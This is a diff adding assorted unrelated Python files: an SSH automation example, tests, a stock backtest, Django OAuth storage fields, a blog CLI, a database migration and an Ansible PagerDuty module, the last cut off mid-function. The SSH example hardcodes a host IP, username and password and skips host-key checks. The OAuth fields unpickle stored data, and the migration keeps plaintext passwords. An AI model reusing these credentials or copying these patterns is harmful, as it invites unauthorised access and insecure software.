index 0000000000000000000000000000000000000000..26b6b212c3175034dc147e849a6d4f3160b60aea
--- /dev/null
+++ b/pool/shard000/Python/0007709_paramiko_example.py
@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+"""
+
+import paramiko
+import time
+from getpass import getpass
+
+ip_addr = '184.105.247.70'
+username = 'pyclass'
+password = '88newclass'
+port = 22
+
+remote_conn_pre=paramiko.SSHClient()
+remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+remote_conn_pre.connect(ip_addr, username=username, password=password, look_for_keys=False, allow_agent=False, port=port)
+
+remote_conn = remote_conn_pre.invoke_shell()
+
+remote_conn.settimeout(6.0)
+
+outp = remote_conn.recv(5000)
+print outp
+
+remote_conn.send("show ip int brief\n")
+
+time.sleep(2)
+
+outp = remote_conn.recv(5000)
+print outp
diff --git a/pool/shard000/Python/0007710_test_logo.py b/pool/shard000/Python/0007710_test_logo.py
new file mode 100644
index 0000000000000000000000000000000000000000..f07231091e994bfe4f458c9ff922798c5c635f49
--- /dev/null
+++ b/pool/shard000/Python/0007710_test_logo.py
@@ -0,0 +1,38 @@
+import os
+import sys
+
+from unittest.mock import patch
+
+import pytest
+
+from sanic.application.logo import (
+    BASE_LOGO,
+    COLOR_LOGO,
+    FULL_COLOR_LOGO,
+    get_logo,
+)
+
+
+@pytest.mark.parametrize(
+    "tty,full,expected",
+    (
+        (True, False, COLOR_LOGO),
+        (True, True, FULL_COLOR_LOGO),
+        (False, False, BASE_LOGO),
+        (False, True, BASE_LOGO),
+    ),
+)
+def test_get_logo_returns_expected_logo(tty, full, expected):
+    with patch("sys.stdout.isatty") as isatty:
+        isatty.return_value = tty
+        logo = get_logo(full=full)
+    assert logo is expected
+
+
+def test_get_logo_returns_no_colors_on_apple_terminal():
+    with patch("sys.stdout.isatty") as isatty:
+        isatty.return_value = False
+        sys.platform = "darwin"
+        os.environ["TERM_PROGRAM"] = "Apple_Terminal"
+        logo = get_logo()
+    assert "\033" not in logo
diff --git a/pool/shard000/Python/0007712_buyandsale.py b/pool/shard000/Python/0007712_buyandsale.py
new file mode 100644
index 0000000000000000000000000000000000000000..584f02534eb3f9a1012a869583de7272dc789d19
--- /dev/null
+++ b/pool/shard000/Python/0007712_buyandsale.py
@@ -0,0 +1,203 @@
+import sys
+import glob
+import util
+
+
+action_sum = {
+"correct" : 0,
+"error" : 0,
+"even" : 0
+}
+
+
+today_buy = {}
+buy_action_everday = {}
+sale_action_everyday = {}
+
+class BuySaleAction(object):
+    """docstring for BuySaleAction"""
+    def __init__(self, buy_price,buy_day,sale_price,sale_day,stockid):
+        super(BuySaleAction, self).__init__()
+        self.buy_price = float(buy_price)
+        self.buy_day = buy_day
+        self.sale_price = float(sale_price)
+        self.sale_day = sale_day
+        self.stockid = stockid
+        self.profit = self.get_profit()
+
+    def get_profit(self):
+        return float(self.sale_price / self.buy_price) - 1
+        
+class BackProbe(object):
+    """docstring for BackProbe"""
+    def __init__(self):
+        super(BackProbe, self).__init__()
+        self.stockid  = ""
+        self.start_day = "2015-01-01"
+        self.end_day = "2015-12-01"
+        self.action_info = []
+        self.start_money = float(10000)
+        
+        self.buy_already = 0
+        self.buy_method = "Today_Close"
+        self.sale_method = "Today_Close"
+        
+        self.buy_price  = 0
+        self.sale_price = 0
+
+
+    def buy(self,i, stock_info):
+
+        ma5 = float(stock_info[i][1]["ma5"])
+        ma10 = float(stock_info[i][1]["ma10"])
+        ma5_yes = float(stock_info[i-1][1]["ma5"])
+        ma10_yes = float(stock_info[i-1][1]["ma10"])
+
+        if ma5 > ma10 and ma5_yes < ma10_yes:
+            self.buy_day = stock_info[i][0]
+            self.buy_price = float(stock_info[i][1]["close"])
+            return True
+        else:
+            return False
+
+            
+    def sale(self,i,stock_info):
+
+        ma5 = float(stock_info[i][1]["ma5"])
+        ma10 = float(stock_info[i][1]["ma10"])
+        ma5_yes = float(stock_info[i-1][1]["ma5"])
+        ma10_yes = float(stock_info[i-1][1]["ma10"])
+
+        if ma5 < ma10 and ma5_yes > ma10_yes:
+            self.sale_day  = stock_info[i][0]
+            self.sale_price = float(stock_info[i][1]["close"])
+            return True
+        else:
+            return False
+            
+
+    def get_stock_id(self):
+        return glob.glob("./data/calculate/*")
+
+    def print_buy_sale_trail(self):
+
+        end_money = self.start_money
+        print self.stockid
+        for action in self.action_info:
+            print "buy at %s with price %s, sale at %s with price %s, profit: %s%%" % \
+                    (action.buy_day,action.buy_price, \
+                        action.sale_day,action.sale_price, \
+                        100*action.get_profit())
+
+            if action.get_profit()>0:
+                action_sum["correct"] += 1
+            elif action.get_profit()<0:
+                action_sum["error"] += 1
+            else:
+                action_sum["even"] += 1
+
+            end_money *= (action.get_profit()+1)
+        
+
+        print self.stockid,"end_money",end_money
+        print
+        print
+        self.action_info = []
+        self.buy_already = 0
+
+        return end_money
+
+    def calculate_advance_info(self, i, stock_info):
+        pass
+
+    def parser_every_day(self, buy_action_everday):
+        day_action = {}
+        for action_info in  buy_action_everday.values():
+            for action in action_info:
+                day_action.setdefault(action.buy_day,[])
+                day_action[action.buy_day].append(action)
+                #print action.stockid,action.buy_day,action.sale_day,action.profit
+
+        for k in sorted(day_action.keys()):
+            for action in day_action[k]:
+                print k, action.stockid,action.buy_day,action.sale_day,action.profit
+            print
+            print
+
+    def run(self):
+        stock_list = self.get_stock_id()
+        #print stock_list
+        begin_money_list = []
+        end_money_list = []
+        base_money_list = [] 
+
+        
+        for filepath in stock_list:
+            base_buy = -1
+            base_sale = -1
+            stockid = filepath.split("/")[-1][:-4]
+            self.stockid = stockid
+
+            """
+            if not self.stockid.startswith("300"):
+                continue
+            """
+            """
+            if not self.stockid.startswith("600315"):
+                continue
+            """
+
+            stock_info = util.read_basic_info(filepath)[::-1]
+            buy_flag  = False
+            for i, info in enumerate(stock_info):
+                self.calculate_advance_info(i, stock_info)
+                if stock_info[i][0] < self.start_day:
+                    continue
+                if stock_info[i][0] > self.end_day:
+                    continue
+
+                if base_buy == -1:
+                    base_buy = float(stock_info[i][1]["close"])
+                
+                base_sale = float(stock_info[i][1]["close"])
+
+                if self.buy_already == 0 and stock_info[i][1]["can_buy"] == "1":
+                    buy_res = self.buy(i, stock_info)
+                    if buy_res == True:
+                        self.buy_poi = i
+                        self.buy_already = 1
+                        if i == (len(stock_info) -1):
+                            print "buy_today:", stock_info[i][0],self.stockid
+                        continue
+
+                if self.buy_already == 1:
+                    sale_res = self.sale(i,stock_info)
+                    if sale_res == True and stock_info[i][1]["can_sale"] == "1":
+                        self.buy_already = 0
+                        action = BuySaleAction(self.buy_price,self.buy_day,self.sale_price,self.sale_day,self.stockid)
+                        self.action_info.append(action)
+                        buy_flag = True
+
+                        
+            self.buy_already = 0
+            if buy_flag:
+                begin_money_list.append(self.start_money)
+                end_money = self.print_buy_sale_trail()
+                end_money_list.append(end_money)
+
+                buy_action_everday[self.stockid] = self.action_info
+
+            base_money_list.append(10000*base_sale/base_buy)
+            #break
+
+        begin = sum(begin_money_list)
+        end = sum(end_money_list)
+        print "%s\t%s\t%6.2f%%" % (begin,end, (float(end)/float(begin) - 1) * 100)
+        print action_sum, float(action_sum['correct']) / sum(action_sum.values())
+
+        print "base: %6.2f%%" % (((sum(base_money_list) / (len(base_money_list) * 10000)) -1 ) * 100)
+        #self.parser_every_day(buy_action_everday)
+
+if __name__ == '__main__':
+    bp = BackProbe()
+    bp.run()
diff --git a/pool/shard000/Python/0007713_django_orm.py b/pool/shard000/Python/0007713_django_orm.py
new file mode 100644
index 0000000000000000000000000000000000000000..64e69108df5bfd2c65c32865f04e4779b9d9ae1e
--- /dev/null
+++ b/pool/shard000/Python/0007713_django_orm.py
@@ -0,0 +1,173 @@
+# Copyright 2014 Google Inc. All rights reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""OAuth 2.0 utilities for Django.
+
+Utilities for using OAuth 2.0 in conjunction with
+the Django datastore.
+"""
+
+import oauth2client
+import base64
+import pickle
+import six
+
+from django.db import models
+from django.utils.encoding import smart_bytes, smart_text
+from oauth2client.client import Storage as BaseStorage
+
+
+__author__ = 'jcgregorio@google.com (Joe Gregorio)'
+
+
+class CredentialsField(six.with_metaclass(models.SubfieldBase, models.Field)):
+
+    def __init__(self, *args, **kwargs):
+        if 'null' not in kwargs:
+            kwargs['null'] = True
+        super(CredentialsField, self).__init__(*args, **kwargs)
+
+    def get_internal_type(self):
+        return 'TextField'
+
+    def to_python(self, value):
+        if value is None:
+            return None
+        if isinstance(value, oauth2client.client.Credentials):
+            return value
+        return pickle.loads(base64.b64decode(smart_bytes(value)))
+
+    def get_prep_value(self, value):
+        if value is None:
+            return None
+        return smart_text(base64.b64encode(pickle.dumps(value)))
+
+    def value_to_string(self, obj):
+        """Convert the field value from the provided model to a string.
+
+        Used during model serialization.
+
+        Args:
+            obj: db.Model, model object
+
+        Returns:
+            string, the serialized field value
+        """
+        value = self._get_val_from_obj(obj)
+        return self.get_prep_value(value)
+
+
+class FlowField(six.with_metaclass(models.SubfieldBase, models.Field)):
+
+    def __init__(self, *args, **kwargs):
+        if 'null' not in kwargs:
+            kwargs['null'] = True
+        super(FlowField, self).__init__(*args, **kwargs)
+
+    def get_internal_type(self):
+        return 'TextField'
+
+    def to_python(self, value):
+        if value is None:
+            return None
+        if isinstance(value, oauth2client.client.Flow):
+            return value
+        return pickle.loads(base64.b64decode(value))
+
+    def get_prep_value(self, value):
+        if value is None:
+            return None
+        return smart_text(base64.b64encode(pickle.dumps(value)))
+
+    def value_to_string(self, obj):
+        """Convert the field value from the provided model to a string.
+
+        Used during model serialization.
+
+        Args:
+            obj: db.Model, model object
+
+        Returns:
+            string, the serialized field value
+        """
+        value = self._get_val_from_obj(obj)
+        return self.get_prep_value(value)
+
+
+class Storage(BaseStorage):
+    """Store and retrieve a single credential to and from the Django datastore.
+
+    This Storage helper presumes the Credentials
+    have been stored as a CredentialsField
+    on a db model class.
+    """
+
+    def __init__(self, model_class, key_name, key_value, property_name):
+        """Constructor for Storage.
+
+        Args:
+            model: db.Model, model class
+            key_name: string, key name for the entity that has the credentials
+            key_value: string, key value for the entity that has the
+                       credentials
+            property_name: string, name of the property that is an
+                           CredentialsProperty
+        """
+        super(Storage, self).__init__()
+        self.model_class = model_class
+        self.key_name = key_name
+        self.key_value = key_value
+        self.property_name = property_name
+
+    def locked_get(self):
+        """Retrieve stored credential.
+
+        Returns:
+            oauth2client.Credentials
+        """
+        credential = None
+
+        query = {self.key_name: self.key_value}
+        entities = self.model_class.objects.filter(**query)
+        if len(entities) > 0:
+            credential = getattr(entities[0], self.property_name)
+            if credential and hasattr(credential, 'set_store'):
+                credential.set_store(self)
+        return credential
+
+    def locked_put(self, credentials, overwrite=False):
+        """Write a Credentials to the Django datastore.
+
+        Args:
+            credentials: Credentials, the credentials to store.
+            overwrite: Boolean, indicates whether you would like these
+                       credentials to overwrite any existing stored
+                       credentials.
+        """
+        args = {self.key_name: self.key_value}
+
+        if overwrite:
+            (entity,
+             unused_is_new) = self.model_class.objects.get_or_create(**args)
+        else:
+            entity = self.model_class(**args)
+
+        setattr(entity, self.property_name, credentials)
+        entity.save()
+
+    def locked_delete(self):
+        """Delete Credentials from the datastore."""
+
+        query = {self.key_name: self.key_value}
+        entities = self.model_class.objects.filter(**query).delete()
diff --git a/pool/shard000/Python/0007728_speechhub.py b/pool/shard000/Python/0007728_speechhub.py
new file mode 100644
index 0000000000000000000000000000000000000000..bb2de2ea31d9a61834eb8e0188165cecdbf095a3
--- /dev/null
+++ b/pool/shard000/Python/0007728_speechhub.py
@@ -0,0 +1,153 @@
+# -*- coding: utf-8 -*-
+"""
+    Speechhub - A static blog engine
+    Copyright (C) 2012  Antonio Ribeiro
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+"""
+
+import os
+import sys
+import argparse
+
+from functions import create_blog, new_post, manage, admin, rebuild_blog
+
+USAGE = """Usage:
+speechhub <command> [arg,[...]]
+commands:
+\tcreate-blog
+\tadmin
+\tmanage
+\tnew-post
+\trebuild
+        """
+
+
+def admin_blog(args):
+    parser = argparse.ArgumentParser(description='Speechhub is a simple command line static blog engine.')
+    parser.add_argument('--username', metavar='username',
+                                       type=str, 
+                                       nargs='?',
+                                       help='User name.',)
+    parser.add_argument('--email', metavar='E-mail',
+                                       type=str,
+                                       nargs='?',
+                                       help='User E-mail')
+    parser.add_argument('--posts-per-page', metavar='posts-per-page.',
+                                            type=int,
+                                            nargs=1,
+                                            default=5,
+                                            help='How many posts by page you want to see.')
+    parser.add_argument('--datetime-format', metavar='posts-per-page.',
+                                             type=int,
+                                             nargs=1,
+                                             # default='%D/%M/%A - %h%m%s',
+                                             help='Date and time format. Use capitalized for date and not capitalized for time.')
+    parser.add_argument('--path', metavar='Speechhub project path.',
+                                             type=str,
+                                             nargs=1,
+                                             help='update the project path.')
+    parser.add_argument('--url', metavar='Your blog URL.',
+                                             type=str,
+                                             nargs=1,
+                                             help='update the blog URL.')
+
+    parsed_args = parser.parse_args(args)
+    admin(vars(parsed_args))
+    
+
+def create_new_blog(args):
+    parser = argparse.ArgumentParser(description='Speechhub is a simple command line static blog engine.')
+    parser.add_argument('--blog-name', metavar='blog-name',
+                                       type=str, 
+                                       nargs=1,
+                                       required=True,
+                                       help='Blog name.')
+    parser.add_argument('--path', metavar='path',
+                                       type=str, 
+                                       nargs='?',
+                                       help='Location where the blog will be created.',)
+    parser.add_argument('--url', metavar='blog-url',
+                                       type=str, 
+                                       nargs='?',
+                                       help='The URL of your blog.',)
+    parser.add_argument('--username', metavar='username',
+                                       type=str, 
+                                       nargs='?',
+                                       help='User name.',)
+    parser.add_argument('--email', metavar='E-mail',
+                                       type=str,
+                                       nargs='?',
+                                       help='User E-mail')
+    
+    parsed_args = parser.parse_args(args)
+    create_blog(vars(parsed_args))
+
+
+def create_new_post(args):
+    parser = argparse.ArgumentParser(description='Speechhub is a simple command line static blog engine.')
+    parser.add_argument('--title', metavar='title',
+                                       type=str,
+                                       required=True, 
+                                       nargs=1,
+                                       help='The title of your post.',)
+    parsed_args = parser.parse_args(args)
+    new_post(vars(parsed_args))
+    
+
+def manage_blog(args):
+    parser = argparse.ArgumentParser(description='Manage your posts.')
+    parser.add_argument('--publish-post', metavar='path',
+                                       type=str, 
+                                       nargs=1,
+                                       help='Publish the related post.',)
+    parser.add_argument('--unpublish-post', metavar='path',
+                                       type=str, 
+                                       nargs=1,
+                                       help='Unblish the related post.',)
+    parser.add_argument('--delete-post', metavar='path',
+                                       type=str, 
+                                       nargs=1,
+                                       help='Delete the related post.',)
+    parsed_args = parser.parse_args(args)
+
+    manage(vars(parsed_args))
+
+
+def main():
+
+    if len(sys.argv) < 2:
+        print USAGE
+        return
+
+    command = sys.argv[1]
+    args = sys.argv[2:]
+
+    if command == 'create-blog':
+        create_new_blog(args)
+    elif command == 'admin':
+        admin_blog(args)
+    elif command == 'new-post':
+        create_new_post(args)
+    elif command == 'manage':
+        manage_blog(args)
+    elif command == 'rebuild':
+        rebuild_blog(args)
+    else:
+        print USAGE
+        return
+
+
+if __name__=='__main__':
+    main()
diff --git a/pool/shard000/Python/0007731_requesthandler.py b/pool/shard000/Python/0007731_requesthandler.py
new file mode 100644
index 0000000000000000000000000000000000000000..a75d4ffbbf589deda8c8c561966916049a1f0db1
--- /dev/null
+++ b/pool/shard000/Python/0007731_requesthandler.py
@@ -0,0 +1,52 @@
+import requests
+
+
+class RequestHandler(object):
+    def get(self, url, params, headers, cookies):
+        pass
+
+    def post(self, url, params, headers, cookies):
+        pass
+
+
+class HttpRequestHandler(RequestHandler):
+    TIMEOUT_SECONDS = 5
+
+    def get(self, url, params, headers, cookies):
+        return self._do_request(requests.get, url, params=params, headers=headers, cookies=cookies)
+
+    def post(self, url, params, headers, cookies):
+        return self._do_request(requests.post, url, params=params, headers=headers, cookies=cookies)
+
+    def _do_request(self, method, url, params, headers, cookies):
+        try:
+            req = method(url, params=params, headers=headers, cookies=cookies, timeout=self.TIMEOUT_SECONDS)
+        except Exception:
+            raise RequestException("Error when fetching from url: %s" % url)
+        if req.status_code != 200:
+            raise RequestException("Status code: %d for %s" % (req.status_code, url))
+        try:
+            return req.text
+        except AttributeError:  # Older version of requests library use content instead of text
+            return req.content
+
+
+class TestRequestHandler(RequestHandler):
+    def __init__(self, return_data):
+        self.requests_sent = []
+        self.return_data = return_data
+
+    def get(self, url, params, headers, cookies):
+        self.requests_sent.append({"url":url, "params":params,
+                                   "headers":headers, "cookies":cookies, "method":"get"})
+        return self.return_data
+
+    def post(self, url, params, headers, cookies):
+        self.requests_sent.append({"url":url, "params":params,
+                                   "headers":headers, "cookies":cookies, "method":"post"})
+        return self.return_data
+
+
+class RequestException(Exception):
+    def __init__(self, msg):
+        self.msg = msg
\ No newline at end of file
diff --git a/pool/shard000/Python/0007732_6f9d8b836c0_.py b/pool/shard000/Python/0007732_6f9d8b836c0_.py
new file mode 100644
index 0000000000000000000000000000000000000000..948817c81988493df81f50f85e832baefa9cbefc
--- /dev/null
+++ b/pool/shard000/Python/0007732_6f9d8b836c0_.py
@@ -0,0 +1,47 @@
+"""empty message
+
+Revision ID: 6f9d8b836c0
+Revises: None
+Create Date: 2014-08-08 02:10:33.301000
+
+"""
+
+# revision identifiers, used by Alembic.
+revision = '6f9d8b836c0'
+down_revision = None
+
+from alembic import op
+import sqlalchemy as sa
+
+
+def upgrade():
+    ### commands auto generated by Alembic - please adjust! ###
+    op.create_table('article',
+    sa.Column('id', sa.Integer(), nullable=False),
+    sa.Column('title', sa.String(length=255), nullable=True),
+    sa.Column('content', sa.Text(), nullable=True),
+    sa.Column('author', sa.String(length=255), nullable=True),
+    sa.Column('category', sa.String(length=255), nullable=True),
+    sa.Column('date_created', sa.DateTime(), nullable=True),
+    sa.Column('like_count', sa.Integer(), nullable=True),
+    sa.PrimaryKeyConstraint('id')
+    )
+    op.create_table('comment',
+    sa.Column('id', sa.Integer(), nullable=False),
+    sa.Column('article_id', sa.Integer(), nullable=True),
+    sa.Column('author', sa.String(length=255), nullable=True),
+    sa.Column('email', sa.String(length=255), nullable=True),
+    sa.Column('password', sa.String(length=255), nullable=True),
+    sa.Column('content', sa.Text(), nullable=True),
+    sa.Column('date_created', sa.DateTime(), nullable=True),
+    sa.ForeignKeyConstraint(['article_id'], ['article.id'], ),
+    sa.PrimaryKeyConstraint('id')
+    )
+    ### end Alembic commands ###
+
+
+def downgrade():
+    ### commands auto generated by Alembic - please adjust! ###
+    op.drop_table('comment')
+    op.drop_table('article')
+    ### end Alembic commands ###
diff --git a/pool/shard000/Python/0007736_oms_client_factory.py b/pool/shard000/Python/0007736_oms_client_factory.py
new file mode 100644
index 0000000000000000000000000000000000000000..811ea3bf63e99d7874377f937e1834acd24693e0
--- /dev/null
+++ b/pool/shard000/Python/0007736_oms_client_factory.py
@@ -0,0 +1,159 @@
+#!/usr/bin/env python
+
+"""
+@package ion.agents.platform.rsn.oms_client_factory
+@file    ion/agents/platform/rsn/oms_client_factory.py
+@author  Carlos Rueda
+@brief   CIOMS Client factory.
+"""
+
+__author__ = 'Carlos Rueda'
+__license__ = 'Apache 2.0'
+
+
+from pyon.public import log
+
+from ion.agents.platform.rsn.simulator.oms_simulator import CIOMSSimulator
+import xmlrpclib
+import os
+from gevent import Greenlet, sleep
+
+
+class CIOMSClientFactory(object):
+    """
+    Provides a CIOMSClient implementation.
+    """
+
+    # counter of created, not-yet-destroyed instances, for debugging purposes
+    _inst_count = 0
+
+    # _sim_process, _rsn_oms: see launch_simulator and related methods
+    _sim_process = None
+    _rsn_oms = None
+
+    @classmethod
+    def create_instance(cls, uri=None):
+        """
+        Creates an CIOMSClient instance.
+        Do not forget to call destroy_instance with the returned object when
+        you are done with the instance.
+
+        @param uri URI to connect to the RSN OMS server or simulator.
+        If None (the default) the value of the OMS environment variable is used
+        as argument. If not defined or if the resulting argument is "embsimulator"
+        then an CIOMSSimulator instance is directly created and returned.
+        Otherwise, the given argument (or value of the OMS environment variable)
+        is used as given to try the connection with the corresponding XML/RPC
+        server resolvable by that URI.
+        """
+
+        if uri is None:
+            uri = os.getenv('OMS', 'embsimulator')
+
+        if "embsimulator" == uri:
+            # "embedded" simulator, so instantiate CIOMSSimulator here:
+            log.debug("Using embedded CIOMSSimulator instance")
+            instance = CIOMSSimulator()
+        else:
+            log.debug("Creating xmlrpclib.ServerProxy: uri=%s", uri)
+            instance = xmlrpclib.ServerProxy(uri, allow_none=True)
+            log.debug("Created xmlrpclib.ServerProxy: uri=%s", uri)
+
+        cls._inst_count += 1
+        log.debug("create_instance: _inst_count = %d", cls._inst_count)
+        return instance
+
+    @classmethod
+    def destroy_instance(cls, instance):
+        """
+        Destroys an instance created with create_instance.
+        This is mainly a convenience method to deactivate the simulator when
+        run in embedded form.
+        """
+        cls._inst_count -= 1
+        if isinstance(instance, CIOMSSimulator):
+            instance._deactivate_simulator()
+            log.debug("Embedded CIOMSSimulator instance destroyed")
+
+        # else: nothing needed to do.
+            
+        log.debug("destroy_instance: _inst_count = %d", cls._inst_count)
+
+    @classmethod
+    def launch_simulator(cls, inactivity_period):
+        """
+        Utility to launch the simulator as a separate process.
+
+        @return the new URI for a regular call to create_instance(uri).
+        """
+
+        # in case there's any ongoing simulator process:
+        ex = cls.stop_launched_simulator()
+        if ex:
+            log.warn("[OMSim] previous process could not be stopped properly. "
+                     "The next launch may fail because of potential conflict.")
+
+        from ion.agents.platform.rsn.simulator.process_util import ProcessUtil
+        cls._sim_process = ProcessUtil()
+        cls._rsn_oms, uri = cls._sim_process.launch()
+
+        log.debug("launch_simulator: launched. uri=%s", uri)
+
+        if inactivity_period:
+            cls._rsn_oms.x_exit_inactivity(inactivity_period)
+
+            def hearbeat():
+                n = 0
+                while cls._sim_process:
+                    sleep(1)
+                    n += 1
+                    if cls._sim_process and n % 20 == 0:
+                        log.debug("[OMSim] heartbeat sent")
+                        try:
+                            cls._rsn_oms.ping()
+                        except Exception:
+                            pass
+                log.debug("[OMSim] heartbeat ended")
+
+            Greenlet(hearbeat).start()
+            log.debug("[OMSim] called x_exit_inactivity with %s and started heartbeat",
+                      inactivity_period)
+
+        return uri
+
+    @classmethod
+    def get_rsn_oms_for_launched_simulator(cls):
+        """
+        Returns the CIOMSClient instance created in the last call to
+        launch_simulator and that has not been stopped yet, if any.
+        """
+        return cls._rsn_oms
+
+    @classmethod
+    def stop_launched_simulator(cls):
+        """
+        Utility to stop the process launched with launch_simulator.
+        The stop is attempted a couple of times in case of errors (with a few
+        seconds of sleep in between).
+
+        @return None if process seems to have been stopped properly.
+                Otherwise the exception of the last attempt to stop it.
+        """
+        if cls._sim_process:
+            sim_proc, cls._sim_process = cls._sim_process, None
+            attempts = 3
+            attempt = 0
+            while attempt <= attempts:
+                attempt += 1
+                log.debug("[OMSim] stopping launched simulator (attempt=%d) ...", attempt)
+                try:
+                    sim_proc.stop()
+                    log.debug("[OMSim] simulator process seems to have stopped properly")
+                    return None
+
+                except Exception as ex:
+                    if attempt < attempts:
+                        sleep(10)
+                    else:
+                        log.warn("[OMSim] error while stopping simulator process: %s", ex)
+                        return ex
diff --git a/pool/shard000/Python/0007739_pagerduty_alert.py b/pool/shard000/Python/0007739_pagerduty_alert.py
new file mode 100644
index 0000000000000000000000000000000000000000..f9ea471dc3f2864624d8ce280357e10fe41f209e
--- /dev/null
+++ b/pool/shard000/Python/0007739_pagerduty_alert.py
@@ -0,0 +1,248 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+# Copyright: Ansible Project
+# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
+
+from __future__ import absolute_import, division, print_function
+__metaclass__ = type
+
+
+ANSIBLE_METADATA = {'metadata_version': '1.1',
+                    'status': ['preview'],
+                    'supported_by': 'community'}
+
+
+DOCUMENTATION = '''
+
+module: pagerduty_alert
+short_description: Trigger, acknowledge or resolve PagerDuty incidents
+description:
+    - This module will let you trigger, acknowledge or resolve a PagerDuty incident by sending events
+version_added: "1.9"
+author:
+    - "Amanpreet Singh (@ApsOps)"
+requirements:
+    - PagerDuty API access
+options:
+    name:
+        description:
+            - PagerDuty unique subdomain. Obsolete. It is not used with PagerDuty REST v2 API.
+    service_id:
+        description:
+            - ID of PagerDuty service when incidents will be triggered, acknowledged or resolved.
+        required: true
+        version_added: "2.7"
+    service_key:
+        description:
+            - The GUID of one of your "Generic API" services. Obsolete. Please use I(integration_key).
+    integration_key:
+        description:
+            - The GUID of one of your "Generic API" services.
+            - This is the "integration key" listed on a "Integrations" tab of PagerDuty service.
+        required: true
+        version_added: "2.7"
+    state:
+        description:
+            - Type of event to be sent.
+        required: true
+        choices:
+            - 'triggered'
+            - 'acknowledged'
+            - 'resolved'
+    api_key:
+        description:
+            - The pagerduty API key (readonly access), generated on the pagerduty site.
+        required: true
+    desc:
+        description:
+            - For C(triggered) I(state) - Required. Short description of the problem that led to this trigger. This field (or a truncated version)
+              will be used when generating phone calls, SMS messages and alert emails. It will also appear on the incidents tables in the PagerDuty UI.
+              The maximum length is 1024 characters.
+            - For C(acknowledged) or C(resolved) I(state) - Text that will appear in the incident's log associated with this event.
+        required: false
+        default: Created via Ansible
+    incident_key:
+        description:
+            - Identifies the incident to which this I(state) should be applied.
+            - For C(triggered) I(state) - If there's no open (i.e. unresolved) incident with this key, a new one will be created. If there's already an
+              open incident with a matching key, this event will be appended to that incident's log. The event key provides an easy way to "de-dup"
+              problem reports.
+            - For C(acknowledged) or C(resolved) I(state) - This should be the incident_key you received back when the incident was first opened by a
+              trigger event. Acknowledge events referencing resolved or nonexistent incidents will be discarded.
+        required: false
+        version_added: "2.7"
+    client:
+        description:
+        - The name of the monitoring client that is triggering this event.
+        required: false
+    client_url:
+        description:
+        -  The URL of the monitoring client that is triggering this event.
+        required: false
+'''
+
+EXAMPLES = '''
+# Trigger an incident with just the basic options
+- pagerduty_alert:
+    name: companyabc
+    integration_key: xxx
+    api_key: yourapikey
+    service_id: PDservice
+    state: triggered
+    desc: problem that led to this trigger
+
+# Trigger an incident with more options
+- pagerduty_alert:
+    integration_key: xxx
+    api_key: yourapikey
+    service_id: PDservice
+    state: triggered
+    desc: problem that led to this trigger
+    incident_key: somekey
+    client: Sample Monitoring Service
+    client_url: http://service.example.com
+
+# Acknowledge an incident based on incident_key
+- pagerduty_alert:
+    integration_key: xxx
+    api_key: yourapikey
+    service_id: PDservice
+    state: acknowledged
+    incident_key: somekey
+    desc: "some text for incident's log"
+
+# Resolve an incident based on incident_key
+- pagerduty_alert:
+    integration_key: xxx
+    api_key: yourapikey
+    service_id: PDservice
+    state: resolved
+    incident_key: somekey
+    desc: "some text for incident's log"
+'''
+import json
+
+from ansible.module_utils.basic import AnsibleModule
+from ansible.module_utils.urls import fetch_url
+from ansible.module_utils.six.moves.urllib.parse import urlparse, urlencode, urlunparse
+
+
+def check(module, name, state, service_id, integration_key, api_key, incident_key=None, http_call=fetch_url):
+    url = 'https://api.pagerduty.com/incidents'
+    headers = {
+        "Content-type": "application/json",
+        "Authorization": "Token token=%s" % api_key,
+        'Accept': 'application/vnd.pagerduty+json;version=2'
+    }
+
+    params = {
+        'service_ids[]': service_id,
+        'sort_by': 'incident_number:desc',
+        'time_zone': 'UTC'
+    }
+    if incident_key:
+        params['incident_key'] = incident_key
+
+    url_parts = list(urlparse(url))
+    url_parts[4] = urlencode(params, True)
+
+    url = urlunparse(url_parts)
+
+    response, info = http_call(module, url, method='get', headers=headers)
+
+    if info['status'] != 200:
+        module.fail_json(msg="failed to check current incident status."
+                             "Reason: %s" % info['msg'])
+    json_out = json.loads(response.read())["incidents"][0]
+
+    if state != json_out["status"]:
+        return json_out, True
+    return json_out, False
+
+
+def send_event(module, service_key, event_type, desc,
+               incident_key=None, client=None, client_url=None):
+    url = "https://events.pagerduty.com/generic/2010-04-15/create_event.json"
+    headers = {
+        "Content-type": "application/json"
+    }
+
+    data = {
+        "service_key": service_key,
+        "event_type": event_type,
+        "incident_key": incident_key,
+        "description": desc,
+        "client": client,
+        "client_url": client_url
+    }
+
+    response, info = fetch_url(module, url, method='post',
+                               headers=headers, data=json.dumps(data))
+    if info['status'] != 200:
+        module.fail_json(msg="failed to %s. Reason: %s" %
+                         (event_type, info['msg']))
+    json_out = json.loads(response.read())
+    return json_out
+
+
+def main():
+    module = AnsibleModule(
+        argument_spec=dict(
+            name=dict(required=False),
+            service_id=dict(required=True),
+            service_key=dict(require=False),
+            integration_key=dict(require=False),
+            api_key=dict(required=True),
+            state=dict(required=True,
+                       choices=['triggered', 'acknowledged', 'resolved']),
+            client=dict(required=False, default=None),
+            client_url=dict(required=False, default=None),
+            desc=dict(required=False, default='Created via Ansible'),
+            incident_key=dict(required=False, default=None)
+        ),
+        supports_check_mode=True
+    )
+
+    name = module.params['name']
+    service_id = module.params['service_id']
+    integration_key = module.params['integration_key']
+    service_key = module.params['service_key']
+    api_key = module.params['api_key']
